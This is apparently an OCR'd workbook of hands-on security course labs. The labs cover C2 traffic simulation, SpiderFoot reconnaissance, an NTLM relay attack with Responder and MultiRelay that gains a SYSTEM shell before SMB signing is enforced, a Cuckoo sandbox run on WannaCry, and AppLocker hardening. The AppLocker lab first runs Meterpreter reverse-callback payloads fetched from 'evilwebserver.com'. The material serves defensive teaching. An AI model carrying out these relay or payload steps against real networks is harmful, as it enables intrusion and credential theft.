o Click the "+" in the top-left corner (next to "APT-29 - Prevention")
o In the new window, select "Create New Layer"

o Similar to what we did previously, please rename the new layer to "APT-29 -
Detection"

o Again, similar to what we did before, please use the multi-select tool on the
new layer to select the APT-29 techniques

The expected end-result can be found in the screenshot attached.



21. Open AlphaSoc flightsim

Please leave the Navigator open in Chrome (don't close it). Let's now try simulating
some malicious network traffic to assess how well we can detect it! Please open a
Windows command prompt (by clicking the terminal logo) and browse to the
FlightSim directory on the Desktop:

C:\Users\alan.marshall> cd Desktop

C:\Users\alan.marshall\Desktop> cd "Red Team"
C:\Users\alan.marshall\Desktop\Red Team> flightsim-windows-amd64.exe
help run

This will print the help menu for flightsim, thereby revealing the available modules:
o C2-DNS
o C2-Ip

o

DGA (Domain Generation Algorithm)

o ...

We will discuss most of these throughout the course!



22. Running the FlightSim tests

Let's now try running the FlightSim tests... As a test, we'll just try running all of the
different modules:

C:\Users\alan.marshall\Desktop\Red Team>flightsim-windows-amd64.exe run

This should start the flightsim tests. Please refer to the screenshot attached for the
expected output. The screenshot won't exactly match your output, as most FlightSim
modules randomize the exact behavior they exhibit (e.g. randomy selecting known C2
domains).

23. Review Kibana Suricata dashboard

Let's have a look at the Suricata dashboard in Kibana, to see whether this malicious
behavior was picked up by our IDS (Suricata). For this, you can switch back to the



Kibana tab you used previously. Should you have closed the tab, please open the
Kibana tab again (it's in your favorites). As a reminder, the credentials were:

o Username: alanmarshall
o Password: Awesomesaucel23

Please open the Dashboard menu and select the "Suricata" dashboard. Depending on
your luck, a number of IDS rules may have fired (you may very well have NO
signatures as well). Again, your mileage may vary, depending on the FlightSim
modules that triggered the IDS. In my case, the following signatures triggered:

o

ET INFO DNS Query for Suspicious .ml domain

o

Suricata HTTP request field missing colon

o

ET DNS Query to a *.top domain - Likely Hostile

o

ET INFO DNS Query for Suspicious .gq domain

While this is a reasonable result, it's by far not exhaustive and there's several
techniques that weren't picked up (e.g. the DGA algorithm). Furthermore, some of the
detections were based on a "simple logic" (e.g. suspicious TLDs). We will discuss
techniques on how to improve this throughout the week!

24. Score MITRE ATT&amp;CK step

Let's now score this result in our MITRE ATT&CK technique. It's a bit tricky
to categorize the FlightStim attacks, but we just want to demonstrate MITRE ATT&CKs



25.

scoring mechanism. Let's consider that this type of C&C traffic is part of the "Web
Service" technique under the Command & Control tactic.

Please open the "APT-29 - Detection" layer you previously created and scroll down to
the bottom of the page. Then, scroll to the right, so the "Web Service" technique
under Command & Control becomes visible (this should be the last or one of the last
values, depending on how you sort!).

Once selected, the technique becomes outlined. Please scroll up again and under
"technique control", click the "scoring" icon (looks like a bar graph). Let's be
reasonable and enter a scoring of 50 (if you didn't have any hits in the IDS rules,
please feel free to enter "0", as this would only be fair :)). The technique will now
color yellow, for average (or red if you entered 0). A good score will be green-ish,
while a bad score would be red-ish.

The goal here is to provide an easy dashboard that can be used to visualize how well
an organisation is doing detection or prevention!

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was
to introduce a baseline detection infrastructure and how MITRE ATT&CK can be used
as a framework to score an organization's detection maturity.

ATTENTION: Finishing this step will close your lab!



SEC599-1.4: Exercise - Automated reconnaissance using SpiderFoot
Objective

The objective of the lab is to perform reconnaissance on an organisation using an automated
tool such as SpiderFoot.

Scenario

We will complete the following high-level exercise steps:

1. Configure & run SpiderFoot
2. Run SpiderFoot against a target company
3. Analyze results

Virtual Machines

1. SEC599-EO01 - Firewall
2. SEC599-E01 - Kali

SEC599-1.4

1. Authenticate to Kali Linux

In this lab, you will again take up a "red" role and attempt to perform reconnaissance
against a target company. As SYNCTECHLABS is a fictional firm without a lot of
Internet presence, we will use another, real, company for our work.

Let's get started by authenticating to our Kali Linux machine using the following
credentials:
o Username: root

o Password: Awesomesaucel23

2. Open terminal and launch SpiderFoot

Once we are authenticated, let's open a terminal and immediately launch SpiderFoot.
You can do this by clicking the Terminal icon in the menu on the left-hand side. Once
the terminal has opened, please run the following commands to launch SpiderFoot:

root@kali:~# cd Tools/spiderfoot-2.12/
root@kali:~/Tools/spiderfoot-2.12# ./sf.py

SpiderFoot will launch and it will inform you that it launched its web interface on port
5001 (localhost).



3. Open browser and access SpiderFoot

Please leave the terminal window open and launch the Firefox browser from the menu
bar on the left hand side. Once the browser has opened, please visit the following
URL:

http://127.0.0.1:5001
You will land on the SpiderFoot landing page, which will invite you to create a new

scan. Please click the "New Scan" button. If you don't see it, please increase the size
of the browser window.

4. Configure new scan

In the next window, we can now configure the new scan that is to be created. We can



tailor the scan quite heavily, let's explore! First up, there are 4 different use cases that
can be selected:

-All
-Footprint
-Investigate
-Passive

Depending on your objectives (and your level of stealth), you can select the best fit
for your analysis. Let's click the "By Required Data" tab next, which is another way of
configuring the scan.

5. Configure new scan - By Required Data

Let's further explore the scan configuration window. Next up is the "By Required Data"
configuration, where we can select what type of data is to be collected. Some of the
data SpiderFoot can collect includes:

o Whois information

o BGP & AS information

o Social media accounts

o E-mail addresses and phone numbers
o Blacklisted sites

o ...

Please take your time to explore, note that each of these data settings can be enabled
or disabled individually!



6. Configure new scan - By Module

Finally, let's have a look at the "By Module" tab, where we can select what Modules
SpiderFoot needs to run. The Modules can be described as the data sources used by
SpiderFoot to perform its analysis. Take your time to go through the different data
sources, it's quite an impressive list! Note that some of these require an API key
(indicated with the small "lock" icon).

Some of the available modules include:

o

Search engines like Bing & DuckDuckGo

o

Threat intelligence sites like AlienVault OTX

o

Historic web site versions from archive.org



7. Launch passive scan for www.sans.org

You may have noticed that one of the modules even includes a TCP portscanner. It's
thus advised to tread carefully when running a full scan for a target (ensure you have
permission!).

Let's go back to the "By Use Case" tab and launch a passive scan for www.sans.org,
which will query online data sources for www.sans.org information, without actually
touching the target itself. Note that a "full" scan can take quite a long time...

Just configure SpiderFoot as shown in the screenshot and hit "Run scan"!



8. Scan running

Once you click the "run scan" button, SpiderFoot will start collecting data. You will be
presented with a screen similar to the one shown in the screenshot. As results come
in, you will see them in real-time. You can also clearly see that the scan is still in a
"running" state.



9. Browsing results

While the scan is ongoing, feel free to click the "Browse" tab, where you can see a
listing of all identified items. Please go through the details and click through entries to
get additional information. When clicking through to the details, you may notice that
the source module is often a search engine (e.g. Bing or DuckDuckGo).

This is to be expected, as the Passive scan will rely on publicly available data (such as
search engine information) for which it doesn't need to directly interact with the
target.



10. SpiderFoot Graph

SpiderFoot also includes a "Graph" view, where it tries to show relations between
different information pieces it identified. The passive scan of www.sans.org should
probably take about 10 minutes, after which it should be finished.

11. Exporting data

Once a scan is finished, we could easily extract it as a CSV file for storage or further
analysis. Under the "Browse" tab, please click the green "download" icon on the right-
hand side. You will be presented with a CSV file that can be stored for later analysis.



12.

13.

OPTIONAL - Running a full scan

If you are interested, feel free to launch a full scan of the www.nviso.be web site,
which is owned by the course author. In the context of this lab, you are allowed to run
SpiderFoot for discovery against www.nviso.be. It goes without saying that this
approval does not constitute approval for any kind of abuse or a full-blown
penetration test!

It's not advised to wait for this full scan to finish, as it will most likely take over 1 hour.
The purpose of this optional step is to give you a "feeling" for what SpiderFoot can
achieve! If you have approval from your own company, it's a good idea to run a full
scan periodically, to keep track of what information is being exposed on the Internet.

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was
to introduce an automated reconnaissance framework (SpiderFoot). This can be used
to identify what type of organization data is exposed on the Internet.

ATTENTION: Finishing this step will close your lab!



SEC599-2.1: Exercise - Stopping NTLMv2 sniffing & relay attacks in
Windows

Objective
Exercise — Stopping NTLMv2 sniffing & relay attacks in Windows

The objective of the lab is to demonstrate what an SMB relay attack in Windows looks like
and how it can be prevented. We will use two attack mechanisms (NMAP + MultiRelay and
Responder + MultiRelay). As part of the exercise, the following steps will be completed:

e Using NMAP & MultiRelay to deliver an SMB relay attack against a victim machine;
e Using Responder & MultiRelay to deliver an SMB relay attack against a victim machine;

e Harden the system to prevent SMB relaying (disable LLMNR, NBT-NS, enforce SMB
signing);
e Verify the effectiveness of our fix.

For additional guidance & details on the lab, please refer to the LODS workbook.

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Kali

SEC599-E01 - Windows01
SEC599-E01 - Windows02

A

SEC599-2.1

1. Authenticate to Kali machine
As a first step, authenticate to the Kali Linux machine. This step of the attack will be
performed from inside the SYNCTECHLABS network, so we will connect the Kali Linux
machine internally.
You can use the following credentials:

o Username: root

o Password: Awesomesaucel23

2. Open a terminal prompt

Let's open a terminal prompt in Linux. We can do this by clicking the terminal icon in
the menu bar to the left of the Windows. The terminal icon is the third from the top.



We will configure Kali to be connected to the internal LAN by running the script that
was prepared:

root@kali:~# ./kali_internal.sh

3. Verify IP connectivity &amp; launching Responder

Let's first verify the IP configuration of our Kali Linux machine. We can do this by
running the following command in the terminal window:

root@kali~:# ifconfig

You will observe that the Kali linux machine is using the 192.168.10.55 IP address
(interface ethl). Let's launch Responder in its most basic form to start responding to
LLMNR requests on eth1:

root@kali:~# responder -I ethl

Responder should provide a rather verbose output (you can ignore the errors, we
don't need all modules to be up and running), after which it will end with "Listening
for events...". If we would like to get rid of the errors, we'd need to for example shut
down the Apache web server that is running on the Kali machine.



4. Switch to Windows02 machine

Let's now switch to our victim machine. You can authenticate to the Windows02
machine using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

5. Opening explorer window

This Windows machine is 192.168.10.16 (WINDOWSO02) and it is connected to the
internal SYNCTECHLABS domain. Let's open an explorer window and try opening an
SMB connection to a system that does not exist.

We could try for example opening an SMB session to "WINDOWSO05"! You can do this
by opening an Explorer window and typing "\\WINDOWSO05" in the address bar and
hitting enter, the connection will hang for a few seconds, after which it will return
"Access Denied" and request credentials.



6. Switch back to Kali machine

So let's have a look at the result and switch back to our Kali machine. It should not
request credentials, but just in case:

o Username: root

o Password: Awesomesaucel23

7. Review NTLMv2 challenge / response hash

In the window where Responder is running, you should now see that an NTLMv2 hash
was captured (see screenshot for an example of what that should look like). If you do
not see it immediately, you may need to scroll up in the window. The entry should
clearly indicate the hash is for alan.marshall and was collected from the
192.168.10.16 machine.

As indicated during class, there's a few interesting next steps that could be taken by
an adversary at this stage:

o Attempt to crack the hashes using dictionary or bruteforce attacks (e.g. John
the Ripper, Hashcat,...)

o Relay the hashes to immediately re-use them against another domain-joined
system (careful, this is NOT Pass-The-Hash).



8. Check SMB signing configuration

Let's now try configuring Responder with a relay. We will have to first check whether
or not SMB signing is enabled. As explained during class, SMB signing will break NTLM
relaying. First hit "CTRL+C" to stop Responder (or close the terminal window and
open a new one).

Back on the termain, please run the following command:
root@kali:~# responder-RunFinger -i 192.168.10.0/24

This command will scan the 192.168.10.0 address range and assess whether or not
SMB signing is enabled. As a result, you should see two machines:

o 192.168.10.15 (WINDOWSO01) - SMB signing "False" - Windows 10 default
configuration

o 192.168.10.16 (WINDOWSO02) - SMB signing "False" - Windows 10 default
configuration

root@kali:~# responder-RunFinger -i 192.168.5.0/24

This command will scan the 192.168.5.0 address range and assess whether or not
SMB signing is enabled. As a result, you should see one machine:

o 192.168.5.5 (DC) - SMB signing "True" - Windows Server 2016 default
configuration



9. Configuring the SMB relay

Now, let's configure our attack! In a new terminal window, we can now start our relay
using the Responder-MultiRelay command:

root@kali:~# cd /usr/share/responder/tools
root@kali:/usr/share/responder/tools# ./MultiRelay.py -t 192.168.10.15 -u ALL

o The -t option configures the target of the relay (in our case, we want to attack
the Windows01 machine)

o The -u option configures which user hashes we want to relay (in our case, we
want to relay all hashes)

The MultiRelay will start and should finish with:

Retrieving information for 192.168.10.15...
SMB signing: False

Os version: ‘indows 10 Enterprise 17134' (sic)
Hostname: 'Windows01'

Part of the 'SYNCTECHLABS' domain

You will see an error about port 80, which you can safely ignore, we will just set up an
SMB relay using port 445! Port 80 is typically also used for Responder's WPAD options!
Please leave this window open, we will now relaunch responder in another window!



10.

11.

12.

13.

Relaunch Responder

In another terminal window, let's relaunch Responder:
root@kali:~# responder -I ethl

Again, please wait for the "Listening for events..." prompt, after which you should
leave this window open.

Switch to our Windows02 machine

Let's now switch back to the Windows02 machine using the following credentials:
o Username: alan.marshall

o Password: Awesomesaucel23

Open an elevated command prompt

We will now open an elevated command prompt on our Windows workstation. As part
of your testing duties, you've also received a workstation admin account! Please right-
click the command prompt icon, right click "Command Prompt" again and select "Run
as administrator". You can use the following credentials:

o Username: alan.marshall.adm

o Password: Securlty

Map a network drive

In the elevated command prompt, let's try mapping a domain-joined network drive
using our administrative credentials. You can enter the following command:

C:\WINDOWS\system32> net use Z: \\WINDOWS05\C$



Again, WINDOWSO0S5 is a system that doesn't exist, we are merely trying to trigger an
LLMNR lookup, to which Responder can respond.

14. Switch back to Kali Linux machine

Once the "net use" command has been executed, switch back to the local Kali linux
machine. In the window where you ran the MultiRelay command, we should now see
that we have obtained a Windows command line shell and we can start entering
commands. Try entering the following commands:

C:\Windows\system32\:# whoami
C:\Windows\system32\:# ipconfig
C:\Windows\system32\:# exit

You will see that we are now running with NT AUTHORITY\SYSTEM privileges on the
Windows01 workstation! Scarely easy, isn't it?

Once we enter "exit", the system will indicate it's returning to relay mode. Please
leave the window running like this.



15.

16.

Fixing the issue - Implementing SMB signing

As indicated during the course, there's a couple of techniques that can be used to
stop this attack. The most effective one is the implementation of SMB signing
however. We will now configure SMB signing on our target (the WINDOWSO01
machine).

As Dwight Schrute seems to have left his session open, please switch to the machine,
log out and log in with your own Alan Marshall workstation admin account:

o Username: alan.marshall.adm

o Password: Securlty

Launch gpedit

We will first launch an elevated command prompt, which can be done by right-clicking
the command prompt icon in the taskbar, after which you can right-click the
"Command Prompt" entry and select "Run as administrator”. Please confirm by
clicking "Yes".

In this command prompt, type the "gpedit" command to change the local group
policies.



17. Open the right settings

Now in the gpedit window, let's enforce SMB signing:
o Open "Computer Configuration"
o Open "Windows Settings"
o Open "Security Settings"
o Open "Local Policies"
o Open "Security Options"

o Scroll to the "Microsoft network server: Digitally sign communications
(always)" and double-click it

18. Enable the setting

In the new window that pops up, please enable the setting and click OK. You will see



19.

that a warning indicate that this could break compatibility with older clients, servers
and applications. While this is a common setting that makes sense, many old systems
have not implemented SMB signing... Enforcing SMB signing is however the only
effective defense strategy against NTLM relaying attacks!

In the command prompt you still have open, please update the group policy settings
by running the following command:

C:\Windows\system32> gpupdate

Switch to Kali Linux machine

Let's switch back to the Kali Linux machine and make sure we have both responder
and the responder MultiRelay running again. If you still have any other windows open,
please close them or exit the commands using "CTRL+C". As a reminder, you can use
the following commands to configure responder and the responder MultiRelay:

WINDOW/TAB 1:

root@kali:~# cd /usr/share/responder/tools
root@kali:/usr/share/responder/tools# ./MultiRelay.py -t 192.168.10.15 -u ALL

WINDOW/TAB 2:
root@kali:~# responder -I ethl

(leave window open)

You will notice that, when configuring the MultiRelay, responder already complains
about the fact that WINDOWSO01 enforces SMB signing and the attack thus won't
work... But let's test it anyhow!



20.

21.

22.

Switch to Windows02 machine

Let's switch back to the WINDOWS02 machine and again try mapping a network
share on the non-existing WINDOWSO05 machine. As a reminder, the following
command line can be used for this (from an elevated command prompt):

C:\WINDOWS\system32> net use Z: \\WINDOWSO05\C$

Analyze results in Kali

Let's switch back to the Kali Linux machine to see the results.

In the MultiRelay window, you will now notice a few failed logon attempts and a clear
warning that SMB signing is mandatory. We have thus successfully stopped the SMB
relay!

Bonus - Disable LLMNR &amp; NBT-NS

As a bonus (if you have time left), we will go a step further and also disable LLMNR
and NBT-NS on our Windows02 workstation. In order to do so, you can try the
following:

o Disable LLMNR from the group policy



23.

HINT: Local Computer Policy -> Computer Configuration -> Administrative
Templates -> Network -> DNS Client

o Disable NBT-NS
HINT: Adapt Netbios settings in network connection properties

Can you confirm your defenses were successfully implemented?

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how network-level attacks work and what kind of defenses can be
implemented! We specifically focused on Responder as an attack tool and how SMB
relaying works. Finally, we provided recommendations on how these attack strategies
can be defended against.

ATTENTION: Finishing this step will close your lab!



SEC599-2.2: Exercise - Building a sandbox using Cuckoo & YARA
Objective

For this course, we have installed a VirtualBox and Cuckoo on an Ubuntu-based host. Your
job is to configure the Cuckoo sandbox, which has been installed on Ubuntu02
(192.168.30.15). The following activities have already been completed for you:

e Cuckoo has been installed

¢ VirtualBox has been installed

e A Windows VM (Windows 7 32-bit) is available on the disk
So, what is left for you to do?

e Import Windows 7 VM in Cuckoo

e Configure Cuckoo to use Windows 7 VM

e Run Cuckoo & analyse samples

e Tweak Cuckoo configuration

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Ubuntu02

4. SEC599-E01 - Windows02

Exercise 1 : SEC599-2.2

1. Authenticate to Ubuntu02

In the first step of this lab, please authenticate to the Ubuntu02 machine. We have
created a non-privileged account for Cuckoo:

o Username: cuckoo
o Password: cuckoo

We will further configure Cuckoo from this machine!

2. Open VirtualBox

Let's open VirtualBox to review the available virtual machines. You can open
VirtualBox by clicking the third icon in the left-hand menu. Once you clicked it, it
might take about 1 minute before the VirtualBox window appears, please just wait
and refrain from clicking the icon again.

Once the window opens, you should see a "Win7-Cuckoo" machine, which we have



prepared for you. One might think that a Windows 7 machine is outdated and you
should use a Windows 10 machine for analysis. Bear in mind though that Windows 10
has a lot of new security features built-in, which might hinder malware behavior
(which we want to know of!). Overall, for malware analysis, running with an older
version of an OS is advisable.

Please click the "Start" button (green arrow) to boot the machine, after which it
should boot and log in automatically.

3. Configure network interface in Windows guest

Cuckoo needs network connectivity between the host and the guest, for example to
allow the Python agent installed on the guest to communicate back to the host. We
will configure the guest VM in the 192.168.88.0/24 network.

Click Start Button -> "Control Panel" -> "Network and Internet" -> "Network and
Sharing Center" -> "Change adapter settings"

In this window, please doubleclick the "Local Area Connection" and select
"Properties", doubleclick "Internet Protocol Version 4 (TCP/IPv4)". We will configure
the following static address settings:

o IP address: 192.168.88.25
o Subnet mask: 255.255.255.0



o Default gateway: 192.168.88.1
o Use the following DNS server: 192.168.30.1

4, Reboot the virtual machine

Once the network has been configured, please reboot the virtual machine. The reason
for this reboot is to properly restart the Cuckoo agent with the new network
configuration. Please click the Start button, click the small arrow next to "Shut down"
and select "Restart".



5. Create a clean snapshot

Once the system has finished rebooting, let's create a "clean" snapshot. Cuckoo will
use this as a basis to run the malware samples that are submitted. You might see a
pop-up header related to mouse integration in VirtualBox, you can safely ignore this
message, as it doesn't affect our lab.
Please take the following steps to create a snapshot:

o Click "Machine"

o Click "Take Snapshot..."

o For the Snapshot Name, please use "Clean" (see screenshot)

o Click "OK"



6. Close the Virtual Machine

Once the Virtual Machine has been configured and the Snapshot created, let's close
the Virtual Machine. You can do this by clicking the red cross in the top right corner of
the screen. In the "Close Virtual Machine" prompt, please select the following options
(which are default):

o "Power off the machine"

o "Restore current snapshot 'Clean



7. Update cuckoo.conf

Now that we have VirtualBox all set up, let's configure Cuckoo. First up, let's launch a
terminal (4th icon in the menu bar).

Cuckoo is installed in the following folder:

/home/cuckoo/.cuckoo

We will open Cuckoo's main configuration file by running:
cuckoo@ubuntu02:~$ nano /home/cuckoo/.cuckoo/conf/cuckoo.conf

Please scroll to the "ip = 192.168.56.1" line under the [resultserver] section, as we
will change it to "192.168.88.1". Similar to how we configured the guest, we

are configuring Cuckoo to use the 192.168.88.0/24 network range.

Next up, scroll down further and find the [remotecontrol] section, where you can
change the "enabled" variable to "yes". So "enabled = no" should become "enabled =

yes".



Once these two changes are done, please close nano (CTRL+X) and confirm by typing
"y" and "ENTER".

8. Update virtualbox.conf

Next up, we need to configure Cuckoo to use the right VirtualBox machine for
analysis. We will do this by opening the virtualbox.conf configuration file:

cuckoo@ubuntu02:~$ nano /home/cuckoo/.cuckoo/conf/virtualbox.conf

Under the [cuckool] section, please change the label to the correct VirtualBox host
name. We should change "label = cuckool" to "label = Win7-Cuckoo".

Furthermore, please change the "ip" to the correct Cuckoo VM IP address. So change
"ip = 192.168.56.101" to "192.168.88.25".

Please refer to the screenshot for additional guidance on the correct configuration.

Once these two changes are done, please close nano (CTRL+X) and confirm by typing
"y" and "ENTER".



0.

10.

11.

Run Cuckoo and the Cuckoo the web interface

Next up, let's launch Cuckoo and the Cuckoo web interface. This will involve 2 steps:
launching the Cuckoo daemon (which handles the samples) and launching the Cuckoo
web interface. You can do so using the following commands:

cuckoo@ubuntu02:~$ cuckoo web runserver 192.168.30.15:8000

Please leave this window open and, in another terminal window, run the following
command to enable the web interface:

cuckoo@ubuntu02:~$ cuckoo

Switch to WINDOWSO02 workstation

Let's switch to Alan Marshall's workstation to start using Cuckoo. You can authenticate
using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

Submitting a sample in Cuckoo

Let's try uploading a sample manually in Cuckoo to ensure it's working as expected.

We have created a bookmark page to our instance of Cuckoo (which is running at IP
address 192.18.30.15 on port 8000). Let's manually upload a Wannacry sample! We



can do this by:
o Opening the Chrome browser (it's pinned to the Start bar)
o Opening Cuckoo from the favorites tab
o Clicking the "Submit File" function

o Selecting the wannacry.exe file from the Desktop\Blue Team\FamousMalware-
Samples\wannacry.exe)

Click "Open".

12. Configuring the analysis

In the next window, we can finetune the Cuckoo analyis configuration. We will stick
with most of the default configurations, with the exception of the "Remote Control"
feature, please enable this one.

Once the "Remote Control" switch is enabled, please proceed and click the "Analyze"
button in the top-right corner of the window.



13. Using Cuckoo remote control

One very interesting feature in Cuckoo (that got released in 2018) is the ability to
remotely control the VM while the analysis is ongoing. In the new window, please click
the "Remote Control" button. This will allow us to both monitor and actively interact
with the system.

If you want to take control, you can press the "c" button, after which you can actually
control the mouse pointer and the VM. In the case of WannaCry though, the malware
is rather aggressive and doesn't really need manual interaction.

Please stay in this view until the WannaCry sample finishes running (which might take
a few minutes), after which you will see the remote control "break" and return an
error. If you continue waiting, the screen will refresh and you will see two buttons:
"Close simulator" and "Show report". We will now click the "Show report", which will
redirect us to the Cuckoo report.



14. Reviewing Cuckoo results
Once the report has been opened, let's have a look at the summary:

o What kind of scoring did it receive?
o What signatures are matching?
o ..

Take your time to browse through Cuckoo's interface (please don't limit yourself to the
Summary) and have a look at the different tabs available at the left of the web
interface. Excellent examples include "Behavior Analysis", "Network Analysis", ...

You might notice that in the summary overview, you will see an entry called "Yara"!
We will configure this further in a next step!



15. Upload Paranoid Fish in Cuckoo

Let's now have a look at the behavior of a tool like "Paranoid Fish". As a reminder,
Paranoid Fish is a tool that detects virtualization / sandbox environments. It's useful to
audit and further improve our sandbox to make it more stealth.

You can find Paranoid Fish as "pafish.exe" under the "Blue Team" folder on the
Desktop.
The purpose of this step in Cuckoo is two-fold:

o Review how "detectable" Cuckoo is;

o Review whether Cuckoo detects the fact that the executable attempts to
perform sandbox detection;



16. Configure pafish.exe analysis

As in the previous upload, we will stick with most of the default configurations, with
the exception of the "Remote Control" feature, please enable this one.

Once the "Remote Control" switch is enabled, please proceed and click the "Analyze"
button in the top-right corner of the window.



17. Open remote control for pafish.exe

Launch the "Remote Control" feature for pafish.exe. You will notice that the pafish.exe
finishes rather quickly. Please click "c" to take over control and scroll through the
command line box, so you can analyze the different "TRACED" items in red.

These all seem to indicate that pafish.exe is capable of detecting the fact that it's
running inside VirtualBox (Cuckoo). The score is now Paranoid Fish 1 - Cuckoo O...
Once the analysis has finished (just wait), again click the "Show report" button.



18. Review the pafish report

Let's have a look at the Cuckoo report for Paranoid Fish! It's interesting to see that
Cuckoo scores Paranoid Fish with a high score of 10.6 out of 10 (remember, the
scoring system is alpha, so you might have a slightly higher / lower score).

If we check out the signatures (scroll below), you'll see some of the following "high
severity" signatures trigger:

(e]

(e]

(e]

(e]

(e]

Looks for known filepaths where sandboxes execute samples
Checks the version of Bios, possibly for anti-virtualization

Attempts to detect a virtual machine by the use of a pseudo device
Detects Joe or Anubis Sandboxes through the presence of a file

Detects VirtualBox through the presence of a device

o ...

The score is how Paranoid Fish 1 - Cuckoo 1 :)



19. Adding YARA rules to Cuckoo

Let's improve our Cuckoo setup by adding some YARA rules as well. While dynamic
sandbox analysis is good, several factors (sandbox stability, malware evasion
techniques,...) could hinder its results!

We will add a rule to detect a Shamoon-related sample now. This is a specific sample
that doesn't play nice with our sandbox. As a first step, please launch WinSCP.exe (on
the Desktop) and connect to the Cuckoo sandbox host. You can provide the following
connection details:

Hostname: 192.168.30.15

Username: cuckoo
Password: cuckoo

Should WinSCP inform you about an SSH fingerprint, please accept and continue!



20. Copy Shamoon YARA rules

We have YARA rules for both the original Shamoon and Shamoon 2. We will copy both
of them to the Cuckoo machine. In the right-hand side of the WinSCP screen
(remote), please browse the following folder:

/home/cuckoo/.cuckoo/yara/binaries

In the left-hand side of the WinSCP screen (local), please browse to the C:\Users
\alan.marshall\Desktop\Blue Team\yara\rules-florianroth folder. You can do this by
selecting the following folders in the drop-down field:

Desktop\yara\Blue Team\yara\rules-florianroth

Let's now drag and drop the apt_shamoon.yar and apt_shamoon2.yar files from the
left-hand window to the window on the right!



21. Restart Cuckoo

Now, let's restart Cuckoo to read our YARA rules. First switch to the Cuckoo
(Ubuntu02) machine again (credentials, user=cuckoo, password=cuckoo).

On the Ubuntu02 machine, please press CTRL+C in the windows where you had
cuckoo and the cuckoo web server running. This will stop Cuckoo and the Cuckoo
interface. As a next step, please just press the "up" arrow in both Windows, thus
repeating the same commands:

In the first window:
cuckoo@ubuntu02:~$ cuckoo web runserver 192.168.30.15:8000
In the second window:

cuckoo@ubuntu02:~$ cuckoo

22. Submit shamoon.exe to Cuckoo

Switch back to the Windows02 machine and open up the Cuckoo main web interface.
We will now submit shamoon.exe, which is under the "Desktop\Blue
Team\FamousMalware-Samples" folder.

We will just use the default analysis configuration (we don't really care about the
remote control now either) and immediately click "Analyze" in the new view.



23. Reviewing Cuckoo results

Please wait for the analysis to finish and you should now see that the sample scored
relatively low in our sandbox. This is because it's not suitable for proper sandbox
operations. We can however see that a YARA rule for Shamoon hits in the summary
view!

Unfortunately, a current limitation in Cuckoo means that a solid YARA rule hit like this
does not influence the overall score of the sample... You thus have to review Cuckoo
YARA hits manually!



24. Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how a sandbox like Cuckoo works and how sandbox evasion techniques
work. We also improved the standard Cuckoo setup by adding YARA rules for static

analysis.

ATTENTION: Finishing this step will close your lab!



SEC599-2.3: Exercise - Configuring AppLocker
Objective

During this exercise, we will deploy a configuration for AppLocker that can be used to stop a
malicious payload from executing. We will configure the AppLocker policy on the AD-level
(domain) and push it through our clients using group policies.

The exercise consists of the following high-level steps:

e Define the AppLocker application whitelisting configuration on domain-level

e Push the configuration towards clients using group policies

e Attempt to execute our malicious payloads to now see effective blocking of payloads
e Illustrating an application whitelisting bypass technique

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Kali

4. SEC599-E01 - Windows02

Exercise 1 : SEC599-2.3

During this exercise, we will deploy a configuration for AppLocker that can be used to stop a
malicious payload from executing. We will configure the AppLocker policy on the AD-level
(domain) and push it through our clients using group policies.

The exercise consists of the following high-level steps:

e Define the AppLocker application whitelisting configuration on domain-level

e Push the configuration towards clients using group policies

o Attempt to execute our malicious payloads to now see effective blocking of payloads
e [llustrating an application whitelisting bypass technique

1. Logon to the Windows workstation

As we've done several times through the different labs. We will log on to the Windows
workstation with our default user:

o Username: alan.marshall

o Password: Awesomesaucel23



2. Downloading unwanted payloads

In this first step, we will show that unwanted applications can be executed on our
machines.

Go to URL http://www.evilwebserver.com/samples (also added as a favorite in the
Chrome browser), and download the payload.exe, payload.dll, payload.vbs, payload.js
and payload.hta files to your download folder. Here's what they do:

o payload.dll -> Meterpreter callback, no visual feedback

o payload.exe -> Meterpreter callback, no visual feedback

o payload.vbs -> Meterpreter callback, no visual feedback

o payload.hta -> Powershell Meterpreter callback, limited visual feedback
o payload.js -> Visibly launch calc.exe

Please right-click the files one by one and save them to the C:\Users\alan.marshall
\Downloads folder (right-click, "Save link as...". The screenshot attached shows
what files are expected to be present in the Downloads folder.

3. Executing unwanted payloads

Now, let's open a command prompt (you can click the icon in the taskbar below) and
launch the payloads one by one:

C:\Users\alan.marshall\Downloads>payload.exe
=> Will execute without any feedback



C:\Users\alan.marshall\Downloads>rundll32.exe payload.dll,DlIMain
=> Will execute without any feedback

C:\Users\alan.marshall\Downloads>payload.hta

=> Will ask you whether you would like to run the application, please confirm with
IIR u n n

=> Will execute a PowerShell reverse connection (limited visual feedback)

C:\Users\alan.marshall\Downloads>payload.js

=> Will prompt you that the file was downloaded from the Internet (Zone Identifier 3,
Mark-Of-Web)

=> Upon confirmation, will open a Calculator window

C:\Users\alan.marshall\Downloads>payload.vbs
=> Will execute without any feedback (but might trigger a Windows Defender alert)

4. Logon to the domain controller

Now, let's try preventing the execution of such files. As we want to tackle this from an
enterprise perspective, we will logon to the domain controller (switch machine) with
our domain admin credentials:

Username: Administrator
Password: Synct3chlabs

5. Launch the GPO editor

From the Server Manager dashboard, go into the Tools menu and launch Group Policy



Management.

6. Create an AppLocker GPO for the workstations

In the Group Policy Management window, please right-click the Workstations in the
left-hand window and click "Create a GPO in this domain, and Link it here..."

In the "New GPO" window, enter "Enable AppLocker" as the name. Once the GPO has
been created, please right-click the "Enable AppLocker" GPO and select "Edit..."

7. Enable Application Identity service

In the Group Policy Management editor, drill down to:



Enable AppLocker -> Computer Configuration -> Policies -> Windows Settings ->
Security Settings -> System Services

Select the Application Identity service. Open its properties, and enable the setting to

Automatic.
This will start the Application Identity service automatically, this service is a pre-

requisite for AppLocker.

8. Configure AppLocker - step 1
So now let's start configuring AppLocker:

Under Security Settings, drill down to Application Control Policies -> AppLocker
Click on "Configure rule enforcement”.

We will enable the checkbox for "Executable rules" and "Script rules".



9. Configure AppLocker - step 2

